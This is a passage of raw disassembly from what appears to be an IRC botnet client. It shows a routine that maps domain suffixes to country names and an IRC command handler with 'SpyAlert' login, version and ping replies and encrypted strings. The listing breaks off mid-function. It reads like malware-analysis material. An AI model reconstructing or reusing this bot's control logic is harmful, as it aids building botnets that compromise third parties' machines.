		push	offset a_gr	; ".gr"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4194DD
		mov	eax, offset aGreece ; "Greece"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_4194DD:				; CODE XREF: sub_41912B+3A6j
		push	offset a_hk	; ".hk"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4194F8
		mov	eax, offset aHongKong ;	"Hong Kong"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_4194F8:				; CODE XREF: sub_41912B+3C1j
		push	offset a_hu	; ".hu"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419513
		mov	eax, offset aHungary ; "Hungary"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_419513:				; CODE XREF: sub_41912B+3DCj
		push	offset a_id	; ".id"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41952E
		mov	eax, offset aIndonesia ; "Indonesia"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_41952E:				; CODE XREF: sub_41912B+3F7j
		push	offset a_ie	; ".ie"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419549
		mov	eax, offset aIreland ; "Ireland"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_419549:				; CODE XREF: sub_41912B+412j
		push	offset a_in	; ".in"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419564
		mov	eax, offset aIndia ; "India"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_419564:				; CODE XREF: sub_41912B+42Dj
		push	offset a_is	; ".is"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41957F
		mov	eax, offset aIceland ; "Iceland"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_41957F:				; CODE XREF: sub_41912B+448j
		push	offset a_il	; ".il"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41959A
		mov	eax, offset aIsrael ; "Israel"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_41959A:				; CODE XREF: sub_41912B+463j
		push	offset a_it	; ".it"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4195B5
		mov	eax, offset aItaly ; "Italy"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_4195B5:				; CODE XREF: sub_41912B+47Ej
		push	offset a_jp	; ".jp"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4196E9
		push	offset a_kg	; ".kg"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4195E5
		mov	eax, offset aKyrgyzstan	; "Kyrgyzstan"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_4195E5:				; CODE XREF: sub_41912B+4AEj
		push	offset a_kr	; ".kr"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419600
		mov	eax, offset aKorea ; "Korea"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_419600:				; CODE XREF: sub_41912B+4C9j
		push	offset a_kz	; ".kz"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41961B
		mov	eax, offset aKazakhstan	; "Kazakhstan"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_41961B:				; CODE XREF: sub_41912B+4E4j
		push	offset a_lt	; ".lt"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419636
		mov	eax, offset aLithuania ; "Lithuania"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_419636:				; CODE XREF: sub_41912B+4FFj
		push	offset a_lv	; ".lv"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419651
		mov	eax, offset aLatvia ; "Latvia"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_419651:				; CODE XREF: sub_41912B+51Aj
		push	offset off_44240C
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41966C
		mov	eax, offset aMalta ; "Malta"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_41966C:				; CODE XREF: sub_41912B+535j
		push	offset a_my	; ".my"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419687
		mov	eax, offset aMalaysia ;	"Malaysia"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_419687:				; CODE XREF: sub_41912B+550j
		push	offset a_ms	; ".ms"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4196A2
		mov	eax, offset aMicrosoftLine ; "Microsoft	Line"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_4196A2:				; CODE XREF: sub_41912B+56Bj
		push	offset a_nl	; ".nl"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4196BD
		mov	eax, offset aNetherlands ; "Netherlands"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_4196BD:				; CODE XREF: sub_41912B+586j
		push	offset a_no	; ".no"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4196D8
		mov	eax, offset aNorway ; "Norway"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_4196D8:				; CODE XREF: sub_41912B+5A1j
		push	offset a_nu	; ".nu"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4196F3


loc_4196E9:				; CODE XREF: sub_41912B+499j
		mov	eax, offset aJapan ; "Japan"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_4196F3:				; CODE XREF: sub_41912B+5BCj
		push	offset a_nz	; ".nz"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41970E
		mov	eax, offset aNewZealand	; "New Zealand"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_41970E:				; CODE XREF: sub_41912B+5D7j
		push	offset a_pl	; ".pl"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419729


loc_41971F:				; CODE XREF: sub_41912B+29Ej
		mov	eax, offset aPoland ; "Poland"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_419729:				; CODE XREF: sub_41912B+5F2j
		push	offset a_pt	; ".pt"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419744
		mov	eax, offset aPortugal ;	"Portugal"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_419744:				; CODE XREF: sub_41912B+60Dj
		push	offset a_ro	; ".ro"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41975F
		mov	eax, offset aRomania ; "Romania"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_41975F:				; CODE XREF: sub_41912B+628j
		push	offset dword_44237C
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_419821
		push	offset off_442378
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41978F
		mov	eax, offset aSaudiArabia ; "Saudi Arabia"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_41978F:				; CODE XREF: sub_41912B+658j
		push	offset a_se	; ".se"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4197AA
		mov	eax, offset aSweden ; "Sweden"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_4197AA:				; CODE XREF: sub_41912B+673j
		push	offset a_sg	; ".sg"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4197C5
		mov	eax, offset aSingapore ; "Singapore"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_4197C5:				; CODE XREF: sub_41912B+68Ej
		push	offset a_si	; ".si"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4197E0
		mov	eax, offset aSlovenia ;	"Slovenia"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_4197E0:				; CODE XREF: sub_41912B+6A9j
		push	offset a_sk	; ".sk"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4197FB
		mov	eax, offset aSlovakia ;	"Slovakia"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_4197FB:				; CODE XREF: sub_41912B+6C4j
		push	offset a_st	; ".st"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4198BD
		push	offset a_su	; ".su"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41982B


loc_419821:				; CODE XREF: sub_41912B+643j
		mov	eax, offset aRussia ; "Russia"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_41982B:				; CODE XREF: sub_41912B+6F4j
		push	offset a_th	; ".th"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419846
		mov	eax, offset aThailand ;	"Thailand"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_419846:				; CODE XREF: sub_41912B+70Fj
		push	offset a_tk	; ".tk"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419861
		mov	eax, offset aTokelauIsland ; "Tokelau Island"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_419861:				; CODE XREF: sub_41912B+72Aj
		push	offset a_tr	; ".tr"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41987C
		mov	eax, offset aTurkey ; "Turkey"
		jmp	loc_41990F
; ---------------------------------------------------------------------------


loc_41987C:				; CODE XREF: sub_41912B+745j
		push	offset a_tw	; ".tw"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419894
		mov	eax, offset aTaiwan ; "Taiwan"
		jmp	short loc_41990F
; ---------------------------------------------------------------------------


loc_419894:				; CODE XREF: sub_41912B+760j
		push	offset off_4422DC
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198AC
		mov	eax, offset aUkraine ; "Ukraine"
		jmp	short loc_41990F
; ---------------------------------------------------------------------------


loc_4198AC:				; CODE XREF: sub_41912B+778j
		push	offset dword_4422D0
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198C4


loc_4198BD:				; CODE XREF: sub_41912B+202j
					; sub_41912B+6DFj
		mov	eax, offset off_43CF08
		jmp	short loc_41990F
; ---------------------------------------------------------------------------


loc_4198C4:				; CODE XREF: sub_41912B+790j
		push	offset off_4422CC
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198DC
		mov	eax, offset aSouthAfrica ; "South Africa"
		jmp	short loc_41990F
; ---------------------------------------------------------------------------


loc_4198DC:				; CODE XREF: sub_41912B+7A8j
		push	offset a_wap	; ".wap"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198F4
		mov	eax, offset aWirelessAccess ; "WireLess	Access Point"
		jmp	short loc_41990F
; ---------------------------------------------------------------------------


loc_4198F4:				; CODE XREF: sub_41912B+7C0j
		push	offset dword_442294
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		mov	eax, offset dword_442284
		jnz	short loc_41990F


loc_41990A:				; CODE XREF: sub_41912B+2Ej
		mov	eax, offset dword_43E558


loc_41990F:				; CODE XREF: sub_41912B+4Aj
					; sub_41912B+65j ...
		pop	esi
		leave
		retn
sub_41912B	endp


; =============== S U B	R O U T	I N E =======================================



sub_419912	proc near		; CODE XREF: sub_418010+1D2p
					; .text:0042EF2Fj

var_4		= byte ptr -4

		push	ecx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+4]
		push	eax
		mov	ecx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_419978
		push	dword ptr [esi+4]
		call	sub_421C78
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		pop	ecx
		retn
sub_419912	endp


; =============== S U B	R O U T	I N E =======================================



sub_41993D	proc near		; CODE XREF: sub_418436+1BCp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_4]
		push	edi
		mov	ebx, ecx
		push	dword ptr [esi+4]
		push	esi
		call	sub_4199B0
		mov	[esi+4], eax
		mov	ecx, [eax+4]
		lea	edi, [eax+8]
		test	edi, edi
		mov	[ecx], eax
		jz	short loc_419967
		mov	esi, [esp+0Ch+arg_8]
		push	61h
		pop	ecx
		rep movsd


loc_419967:				; CODE XREF: sub_41993D+1Fj
		mov	ecx, [esp+0Ch+arg_0]
		inc	dword ptr [ebx+8]
		pop	edi
		pop	esi
		mov	[ecx], eax
		mov	eax, ecx
		pop	ebx
		retn	0Ch
sub_41993D	endp


; =============== S U B	R O U T	I N E =======================================



sub_419978	proc near		; CODE XREF: sub_419912+12p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, ecx
		jmp	short loc_41999F
; ---------------------------------------------------------------------------


loc_419982:				; CODE XREF: sub_419978+2Bj
		mov	eax, esi
		mov	esi, [esi]
		push	eax
		mov	ecx, [eax+4]
		mov	edx, [eax]
		mov	[ecx], edx
		mov	ecx, [eax]
		mov	edx, [eax+4]
		mov	[ecx+4], edx
		call	sub_421C78
		dec	dword ptr [edi+8]
		pop	ecx


loc_41999F:				; CODE XREF: sub_419978+8j
		cmp	esi, [esp+8+arg_8]
		jnz	short loc_419982
		mov	eax, [esp+8+arg_0]
		pop	edi
		mov	[eax], esi
		pop	esi
		retn	0Ch
sub_419978	endp


; =============== S U B	R O U T	I N E =======================================



sub_4199B0	proc near		; CODE XREF: sub_418010+54p
					; sub_41993D+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	18Ch
		call	sub_423F55
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	ecx, ecx
		jnz	short loc_4199C5
		mov	ecx, eax


loc_4199C5:				; CODE XREF: sub_4199B0+11j
		mov	[eax], ecx
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jnz	short loc_4199D1
		mov	ecx, eax


loc_4199D1:				; CODE XREF: sub_4199B0+1Dj
		mov	[eax+4], ecx
		retn	8
sub_4199B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4199D7	proc near		; CODE XREF: sub_403A63+5Dp
					; sub_419B2F+7Ep

var_158		= byte ptr -158h
var_110		= byte ptr -110h
var_10A		= byte ptr -10Ah
var_109		= byte ptr -109h
var_106		= byte ptr -106h
var_105		= byte ptr -105h
var_101		= byte ptr -101h
var_F7		= byte ptr -0F7h
var_F6		= byte ptr -0F6h
var_F5		= byte ptr -0F5h
var_F3		= byte ptr -0F3h
var_F2		= byte ptr -0F2h
var_F0		= byte ptr -0F0h
var_EA		= byte ptr -0EAh
var_E9		= byte ptr -0E9h
var_E6		= byte ptr -0E6h
var_E5		= byte ptr -0E5h
var_E4		= byte ptr -0E4h
var_E2		= byte ptr -0E2h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 158h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	100h
		lea	eax, [ebp+var_158]
		push	ebx
		push	eax
		call	sub_4221F0
		mov	esi, [ebp+arg_8]
		add	esp, 0Ch
		cmp	esi, ebx
		jl	short loc_419A60


loc_419A01:				; CODE XREF: sub_4199D7+87j
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax+esi*4]
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_419A5D
		mov	dl, [eax]
		cmp	dl, 2Dh
		jnz	short loc_419A60
		cmp	[eax+2], bl
		jnz	short loc_419A27
		movsx	edx, byte ptr [eax+1]
		mov	[ebp+edx+var_158], 1
		jmp	short loc_419A4F
; ---------------------------------------------------------------------------


loc_419A27:				; CODE XREF: sub_4199D7+40j
		cmp	dl, 2Dh
		jnz	short loc_419A60
		cmp	byte ptr [eax+2], 3Ah
		jnz	short loc_419A60
		cmp	[eax+4], bl
		jnz	short loc_419A60
		movsx	edx, byte ptr [eax+1]
		mov	[ebp+edx+var_158], 1
		cmp	byte ptr [eax+1], 72h
		jnz	short loc_419A4F
		mov	dl, [eax+3]
		mov	[ebp+var_38], dl


loc_419A4F:				; CODE XREF: sub_4199D7+4Ej
					; sub_4199D7+70j
		mov	[eax], bl
		mov	eax, [ecx]
		mov	[eax+1], bl
		mov	eax, [ecx]
		mov	[eax+2], bl
		mov	[ecx], ebx


loc_419A5D:				; CODE XREF: sub_4199D7+34j
		dec	esi
		jns	short loc_419A01


loc_419A60:				; CODE XREF: sub_4199D7+28j
					; sub_4199D7+3Bj ...
		movzx	eax, [ebp+var_E5]
		mov	[ebp+var_58], eax
		push	16h
		movzx	eax, [ebp+var_EA]
		movzx	ecx, [ebp+var_105]
		mov	[ebp+var_54], eax
		mov	[ebp+var_48], ecx
		movzx	eax, [ebp+var_F0]
		mov	[ebp+var_50], eax
		mov	[ebp+var_2C], ecx
		movzx	eax, [ebp+var_E2]
		movzx	ecx, [ebp+var_F7]
		movzx	edx, [ebp+var_109]
		mov	[ebp+var_4C], eax
		mov	[ebp+var_1C], ecx
		movzx	eax, [ebp+var_F2]
		movzx	ecx, [ebp+var_F6]
		mov	[ebp+var_44], eax
		mov	[ebp+var_18], ecx
		movzx	eax, [ebp+var_E9]
		movzx	ecx, [ebp+var_F5]
		mov	[ebp+var_30], edx
		mov	[ebp+var_40], eax
		movzx	edx, [ebp+var_110]
		movzx	eax, [ebp+var_101]
		mov	[ebp+var_14], ecx
		mov	[ebp+var_28], edx
		movzx	ecx, [ebp+var_F3]
		movzx	edx, [ebp+var_10A]
		mov	[ebp+var_34], eax
		mov	[ebp+var_C], ecx
		movzx	eax, [ebp+var_E6]
		movzx	ecx, [ebp+var_E4]
		mov	[ebp+var_20], edx
		mov	[ebp+var_3C], eax
		movzx	edx, [ebp+var_106]
		mov	[ebp+var_10], eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], ecx
		pop	ecx
		lea	esi, [ebp+var_58]
		mov	edi, eax
		mov	[ebp+var_24], edx
		rep movsd
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4199D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B2F	proc near		; DATA XREF: sub_41A1C8+18o

var_658		= byte ptr -658h
var_258		= byte ptr -258h
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 658h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		inc	esi
		cmp	byte ptr [esi+1], 0
		jz	loc_419EDE
		cmp	byte ptr [esi],	2Bh
		jnz	short loc_419B6C
		push	offset byte_44D6A4
		push	offset dword_442740
		push	esi
		call	sub_41F167
		push	esi
		push	offset dword_4395E8
		call	sub_41D94C
		add	esp, 14h


loc_419B6C:				; CODE XREF: sub_419B2F+1Dj
		lea	eax, [ebp+var_658]
		push	esi
		push	eax
		call	dword_42F04C	; lstrcpyA
		push	40h
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		call	sub_41EF08
		mov	cl, [ebp+var_658]
		add	esp, 0Ch
		cmp	cl, byte_439016
		mov	[ebp+arg_0], eax
		jnz	loc_419DE5
		push	eax
		lea	eax, [ebp+var_158]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4199D7
		add	esp, 0Ch
		mov	esi, eax
		lea	edi, [ebp+var_58]
		push	16h
		pop	ecx
		rep movsd
		xor	edi, edi
		cmp	[ebp+var_158], edi
		jz	loc_419EDE
		mov	eax, [ebp+var_158]
		mov	al, [eax]
		cmp	al, byte_439016
		jnz	short loc_419C42
		mov	ebx, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		inc	[ebp+var_158]
		mov	ecx, esi
		push	dword ptr [ebx+8]
		push	dword ptr [ebx+4]
		push	dword ptr [ebx]
		call	sub_40FE51
		test	eax, eax
		mov	ecx, esi
		jz	short loc_419C49
		call	sub_41111B
		push	eax
		push	dword ptr [ebx+0Ch]
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_419C17
		mov	eax, [ebx]
		mov	[ebx+0Ch], eax


loc_419C17:				; CODE XREF: sub_419B2F+E1j
		push	edi
		lea	eax, [ebp+var_658]
		sub	esp, 58h
		lea	esi, [ebp+var_58]
		push	16h
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_8]
		rep movsd
		push	ebx
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_158]
		push	eax
		call	sub_403B2C
		add	esp, 70h


loc_419C42:				; CODE XREF: sub_419B2F+ACj
					; sub_419B2F+17Dj ...
		xor	eax, eax


loc_419C44:				; CODE XREF: sub_419B2F+3B2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_419C49:				; CODE XREF: sub_419B2F+CDj
		call	sub_41111B
		push	eax
		push	dword ptr [ebx+0Ch]
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_419C98
		mov	ecx, esi
		call	sub_40FEAB
		test	eax, eax
		lea	eax, [ebp+var_658]
		push	eax
		push	dword ptr [ebx+8]
		push	dword ptr [ebx+4]
		push	dword ptr [ebx]
		push	offset aFr5ye08wltp1mn ; "fr5ye08Wltp1Mnsrm1FhS.k."
		push	offset aSSpyalertSS@SS ; "%s SpyAlert: [%s!%s@%s] -> (Sent PM: \"%"...
		jnz	loc_419D2C


loc_419C85:				; CODE XREF: sub_419B2F+1F7j
		push	offset dword_439650
		push	esi
		call	sub_4104F6
		add	esp, 20h
		jmp	loc_419EDE
; ---------------------------------------------------------------------------


loc_419C98:				; CODE XREF: sub_419B2F+12Cj
		push	[ebp+var_158]
		push	offset aC7rq4Xpvel_ ; "c7RQ4/xPvel."
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_419C42
		cmp	[ebp+var_154], edi
		jz	loc_419EDE
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_258]
		push	dword ptr [ebx+4]
		push	dword ptr [ebx]
		push	offset dword_442734
		push	100h
		push	eax
		call	sub_42219B
		add	esp, 18h
		cmp	dword_43C174, edi
		jle	short loc_419D05


loc_419CE3:				; CODE XREF: sub_419B2F+1D4j
		lea	eax, [ebp+var_258]
		push	eax
		push	dword ptr loc_43904C[edi*4]
		call	sub_41F2BB
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_419D37
		inc	edi
		cmp	edi, dword_43C174
		jl	short loc_419CE3


loc_419D05:				; CODE XREF: sub_419B2F+1B2j
					; sub_419B2F+223j
		mov	ecx, esi
		call	sub_40FEAB
		push	[ebp+var_154]
		test	eax, eax
		push	dword ptr [ebx+8]
		push	dword ptr [ebx+4]
		push	dword ptr [ebx]
		push	offset aFr5ye08wltp1mn ; "fr5ye08Wltp1Mnsrm1FhS.k."
		push	offset aSSpyalertLogin ; "%s SpyAlert: Login Attempt ->	[%s!%s@%s"...
		jz	loc_419C85


loc_419D2C:				; CODE XREF: sub_419B2F+150j
		push	esi
		call	sub_40FF47
		jmp	loc_419EDB
; ---------------------------------------------------------------------------


loc_419D37:				; CODE XREF: sub_419B2F+1CBj
		push	[ebp+var_154]
		call	sub_41CE88
		push	eax
		push	offset loc_4395A0
		call	sub_422760
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_419D05
		push	dword ptr [ebx+8]
		mov	ecx, esi
		push	dword ptr [ebx+4]
		push	dword ptr [ebx]
		call	sub_40FCF7
		cmp	eax, 0FFFFFFFFh
		mov	esi, offset aH08_Drzwx_	; "h/08./drzWX."
		jnz	short loc_419DA6
		cmp	[ebp+var_58], 0
		mov	edi, offset aSFullTryLater ; "%s Full try Later!"
		jnz	short loc_419D8E
		cmp	[ebp+var_54], 0
		jnz	short loc_419D98
		push	esi
		push	edi
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_8]
		call	sub_4104F6
		add	esp, 10h


loc_419D8E:				; CODE XREF: sub_419B2F+247j
		cmp	[ebp+var_54], 0
		jz	loc_419EDE


loc_419D98:				; CODE XREF: sub_419B2F+24Dj
		push	esi
		push	edi
		push	dword ptr [ebx]
		push	[ebp+arg_8]
		call	sub_4104F6
		jmp	short loc_419DDD
; ---------------------------------------------------------------------------


loc_419DA6:				; CODE XREF: sub_419B2F+23Cj
		cmp	[ebp+var_58], 0
		mov	edi, offset aSOk ; "%s OK"
		jnz	short loc_419DC7
		cmp	[ebp+var_54], 0
		jnz	short loc_419DD1
		push	esi
		push	edi
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_8]
		call	sub_4104F6
		add	esp, 10h


loc_419DC7:				; CODE XREF: sub_419B2F+280j
		cmp	[ebp+var_54], 0
		jz	loc_419EDE


loc_419DD1:				; CODE XREF: sub_419B2F+286j
		push	esi
		push	edi
		push	dword ptr [ebx]
		push	[ebp+arg_8]
		call	sub_410491


loc_419DDD:				; CODE XREF: sub_419B2F+275j
		add	esp, 10h
		jmp	loc_419EDE
; ---------------------------------------------------------------------------


loc_419DE5:				; CODE XREF: sub_419B2F+6Cj
		mov	ebx, [ebp+arg_8]
		mov	ecx, ebx
		call	sub_41111B
		mov	esi, [ebp+arg_4]
		mov	edi, dword_42F070
		push	eax
		push	dword ptr [esi+0Ch]
		call	edi ; dword_42F070
		test	eax, eax
		jnz	loc_419EDE
		push	[ebp+var_158]
		push	offset dword_442728
		call	edi ; dword_42F070
		test	eax, eax
		jnz	short loc_419E5E
		push	(offset	loc_439043+1)
		push	offset dword_442718
		push	dword ptr [esi]
		push	ebx
		call	sub_410491
		add	esp, 10h
		mov	ecx, ebx
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40FE51
		test	eax, eax
		jnz	loc_419EDE
		mov	ecx, ebx
		call	sub_40FEAB
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	offset aFr5ye08wltp1mn ; "fr5ye08Wltp1Mnsrm1FhS.k."
		push	offset aSVersionReques ; "%s Version request from: [%s!%s@%s]!"
		jmp	short loc_419EC1
; ---------------------------------------------------------------------------


loc_419E5E:				; CODE XREF: sub_419B2F+2E6j
		push	[ebp+var_158]
		push	offset dword_4426E8
		call	edi ; dword_42F070
		test	eax, eax
		jnz	loc_419C42
		cmp	[ebp+var_154], eax
		jz	loc_419C42
		push	[ebp+var_154]
		push	offset dword_4426DC
		push	dword ptr [esi]
		push	ebx
		call	sub_410491
		add	esp, 10h
		mov	ecx, ebx
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40FE51
		test	eax, eax
		jnz	short loc_419EDE
		mov	ecx, ebx
		call	sub_40FEAB
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	offset aFr5ye08wltp1mn ; "fr5ye08Wltp1Mnsrm1FhS.k."
		push	offset aSPingRequestFr ; "%s Ping request from:	[%s!%s@%s]!"


loc_419EC1:				; CODE XREF: sub_419B2F+32Dj
		test	eax, eax
		jz	short loc_419ED0
		push	ebx
		call	sub_40FF47
		add	esp, 18h
		jmp	short loc_419EDE
; ---------------------------------------------------------------------------


loc_419ED0:				; CODE XREF: sub_419B2F+394j
		push	offset dword_439650
		push	ebx
		call	sub_4104F6


loc_419EDB:				; CODE XREF: sub_419B2F+203j
		add	esp, 1Ch


loc_419EDE:				; CODE XREF: sub_419B2F+14j
					; sub_419B2F+98j ...
		xor	eax, eax
		inc	eax
		jmp	loc_419C44
sub_419B2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419EE6	proc near		; DATA XREF: sub_41A1C8+29o

var_8		= dword	ptr -8
